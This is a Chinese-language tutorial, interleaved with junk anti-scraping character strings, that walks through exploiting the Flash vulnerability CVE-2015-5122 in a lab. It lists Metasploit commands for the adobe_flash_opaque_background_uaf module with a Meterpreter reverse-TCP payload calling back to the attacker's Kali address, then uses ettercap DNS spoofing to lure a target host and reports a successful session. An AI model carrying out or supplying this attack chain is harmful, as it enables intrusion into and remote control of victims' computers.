|
$ o/ J, U* [' v! f* K 二、cve2015-5122漏洞实例演示虚拟机
. Y3 o- p1 F% q, m, E . M# ?' y# O O4 X" ~, Q+ g+ w/ n0 N% K
$ D, b) G+ \7 L7 ?" P. h, M3 r
关于cve2015-5122这个漏洞,大家可以百度一下,是关于flash的漏洞,是2015年flash漏洞的第二发,今天我们就用这个漏洞来演示,开启kai linux msfconsole命令启动msf如图: 9 K* k5 L4 M5 Q: s6 e! ]7 f6 {- @
+ _6 G( r0 X, m$ Y' D ?5 M# j4 z: E; ^' M) a
search cve-2015-5122如图:
1 Y5 j. A" s$ R0 k9 K `. e - l4 d7 ?2 b3 Q v' b/ P; q1 Z. z
: v% @* c( |( E I6 S7 K n ^
; x& k7 ^0 ?6 @# h8 v j 2 M$ {. v' l9 B* k1 O2 S
1 b/ H6 G1 E. L: L5 d/ c 下面我们敲如下命令:
' m$ E" N8 m1 ]( I& \ 8 ]( Y* W" l7 u3 n% f& f
+ ^, X/ j, A3 U& `& v use exploit/multi/browser/adobe_flash_opaque_background_uaf 0 j I3 U$ {8 {3 A1 l
7 v& c- c( g2 ]8 K$ S
4 x8 t5 ]1 u: J6 I; _. z
set PAYLOAD windows/meterpreter/reverse_tcp ( k# L% d6 o+ v$ R u
- w# e* V% `# J: ?
1 t7 f- B3 r9 S4 K% n1 q7 j
set LHOST 192.168.0.109
4 |: A0 o5 \; U2 c
7 c a- E' Y/ z, v( G
# S @- f3 W1 T; o7 k, R set URIPATH / /*根目录*/
* e; J3 Y: w9 f6 i7 _0 Q8 y ' x. p3 ~" }/ F; J
( j! L' i% c# U0 c6 g: k: g; {; e set SRVHOST 192.168.0.109 //192.168.0.109为kaili ip地址 # k; z. c4 R* j6 q5 \
& k/ D6 U8 _3 f: G" m
7 Q' c( h/ ~- J& S
set SRVPORT 80 /*80端口*/ 使用80端口时要保证apache为停止状态用service apache2 stop命令停止否则会提示端口被占用 0 W0 g; _* O. K' z& c+ q
% _: f2 O% C, N8 ~* f8 P
( @0 c1 O" H% i: w, U 然后show options如图:
3 F- N0 G8 L7 {& C
2 C9 A+ [, P Q6 }+ V8 y' B* j( ^& J; x6 p8 y; q9 u
4 k! ]. N9 K+ f& t8 X T3 W # Z0 K2 P @! d) i
6 K6 W( a R! l' Y& [7 x 一切都设置好了,执行exploit。下面我们进etc/ettercap目录下设置etc.dns如图: , I! j& M+ n% z) O2 X
. R4 {, z/ f5 o' c" S- c! J
: D9 p* O/ Y; {- D# t g. c
- ~# H1 D3 l" N' Q/ p0 B 然后ettercap -G命令打开ettercap,我们要攻击的主机ip是192.168.0。115 " Q; y7 {0 v/ i" V/ D
- R4 |6 a9 |. h; S0 S1 N( B
' A5 a( }# N7 `8 i' L Ettercap过程第一篇里已经演示,这里不在详细写了。。。执行完ettercap以后我们观察一下msf . g5 D) E+ z3 F* X' o' n! f
[4 M7 @8 j% d" W, I
/ ], l' I% e0 \8 j. }
/ F' u7 G: A- H7 z; N $ ]6 u$ |5 X5 l( v
& I! \8 Z( B0 q 成功了,这时候我们断开ettercap,如图:
8 @* Q3 d) d" J. ]4 `, ?. x + U9 ~0 K+ n1 |" y0 H
7 \; d6 }8 `6 I6 S% q
: C) ^; l5 U5 P/ c7 J7 ? - K& ^# j1 \9 D% u2 R
% J! [8 O$ |) z( W0 [9 ~- U
Screenshot如图: 0 _' R. S% c# E: B2 z
- V! U& ?; w: I5 I
; n7 H; a( F/ B( ?
# E2 C8 v0 Y- K% q1 Y4 V9 G
$ R: ?! g! v5 n& j) i6 g# w4 _5 N; b4 Q( [0 \ N9 K2 p" W: Z
4 V% j, }/ X q/ h# A/ F" Z) I
|